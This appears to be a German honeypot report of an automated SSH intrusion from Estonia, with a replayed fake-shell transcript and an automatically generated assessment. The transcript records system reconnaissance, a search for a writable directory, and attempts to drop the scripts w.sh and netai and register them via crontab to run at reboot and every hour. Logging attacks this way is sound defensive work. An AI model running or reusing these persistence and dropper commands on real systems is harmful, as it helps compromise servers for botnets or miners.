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Mitschnitt

SSH-Angriff aus Estland: Hardware ausspähen und Einnisten per Cronjob

02.10.2026, 23:18 UTC · 19 Befehle · über ssh · Estland · 2× wiederholt

Überblick

Dienst
ssh (Port 22)
Herkunft
Estland · P.A.G.M. OU
Probierte Zugangsdaten
root / Vk$@+V#e-oSBgIG
Gleiche Sitzung gesehen
2×

Der Angriff, nachgespielt

echter Mitschnitt unserer Fake-Shell; die Antworten sind erfunden, ausgefuehrt wurde nie etwas
root@srv01: ~

root@srv01:~$ uname -a
Linux web02 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 GNU/Linux
root@srv01:~$ cut -d' ' -f1 /proc/uptime
101
root@srv01:~$ sudo -l
sudo: effective uid is not 0, is sudo installed setuid root?
root@srv01:~$ sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done'
/
root@srv01:~$ cat /proc/cpuinfo | grep processor | wc -l
8
root@srv01:~$ cd "/" && if [ ! -f "w.sh" ]; then cat > "w.sh" && chmod +x w.sh; fi
bash: w.sh: No such file or directory
root@srv01:~$ grep -E "CentOS|Red Hat|AlmaLinux|Rocky" /etc/os-release 2>/dev/null || true
root@web02:~# grep -E "CentOS|Red Hat|AlmaLinux|Rocky" /etc/os-release 2>/dev/null || true
root@srv01:~$ PATH=$PATH:/usr/bin:/usr/local/bin
root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)"
root@srv01:~$ if ! echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "ssh 1 az"' >/dev/null 2>&1; then
bash: syntax error near unexpected token `then'
root@srv01:~$ (echo "$CRON"; echo '@reboot  //w.sh "astats" "netai" "kstats" "ssh 1 az"'; echo '0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "ssh 1 az"') | crontab -
bash: syntax error near unexpected token `('
root@srv01:~$ fi
bash: fi: command not found
root@srv01:~$ ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10
PID %CPU COMM
  1234  2.3 python3
  1098  1.1 nginx
   876  0.5 sshd
   654  0.3 systemd-journal
   432  0.2 systemd-udevd
   321  0.1 cron
   210  0.1 rsyslogd
   198  0.0 systemd-logind
   176  0.0 dbus-daemon
   154  0.0 systemd
root@srv01:~$ ps aux | grep netai | grep -v grep | wc -l
0
root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai
root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)"
root@srv01:~$ echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "ssh 2 az"' >/dev/null 2>&1 || \
bash: syntax error near unexpected token `|'
root@srv01:~$ printf '%s\n%s\n' "@reboot  //w.sh "astats" "netai" "kstats" "ssh 2 az"" "0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "ssh 2 az"" | (cat -; echo "$CRON") | crontab -
bash: syntax error near unexpected token `('
root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > netai
bash: netai: No such file or directory

Was hier passiert ist

automatisch erstellte Einschätzung, keine Gewähr

Was versucht wurde

Der Angreifer meldete sich per SSH mit einem erratenen Root-Passwort an. Er führte eine Reihe von Systemabfragen durch, um die Umgebung zu identifizieren und Schreibrechte zu prüfen. Anschließend versuchte er, ein Skript namens w.sh sowie eine Datei namens netai in verschiedenen temporären Verzeichnissen zu erstellen und Cron-Jobs für deren Ausführung zu installieren.

Was die Befehle bewirken

Die Befehle uname und cat /proc/cpuinfo dienten der Erkennung von Kernel-Version und CPU-Kernen. Die Schleife mit cd prüfte, in welchem Verzeichnis Schreibrechte bestehen, um dort Dateien abzulegen. Der Versuch, w.sh zu erstellen, scheiterte, da die Shell-Syntax für die bedingte Ausführung fehlerhaft war. Die crontab-Befehle sollten die Skripte als wiederkehrende Aufgaben registrieren, was ebenfalls an Syntaxfehlern scheiterte. Die ps-Befehle dienten der Überwachung der Systemlast und der Suche nach bereits laufenden Prozessen.

Worauf es hinauslief

Das Ziel war vermutlich die Installation einer Persistenz-Komponente für ein Botnetz oder einen Kryptominer. Die Namen der Dateien und die Cron-Argumente deuten auf eine Automatisierung hin, die nach einem Neustart oder stündlich ausgeführt werden soll. Da die Shell-Befehle aufgrund von Syntaxfehlern scheiterten, blieb die Infektion auf dem Honeypot aus.

Einordnung

Dieses Muster ist typisch für automatisierte Skripte, die oft von Botnetzen wie Mirai oder ähnlichen Varianten genutzt werden. Die Verwendung von Standard-Verzeichnissen wie /dev/shm und /tmp ist ein häufiger Indikator für Malware-Installationen.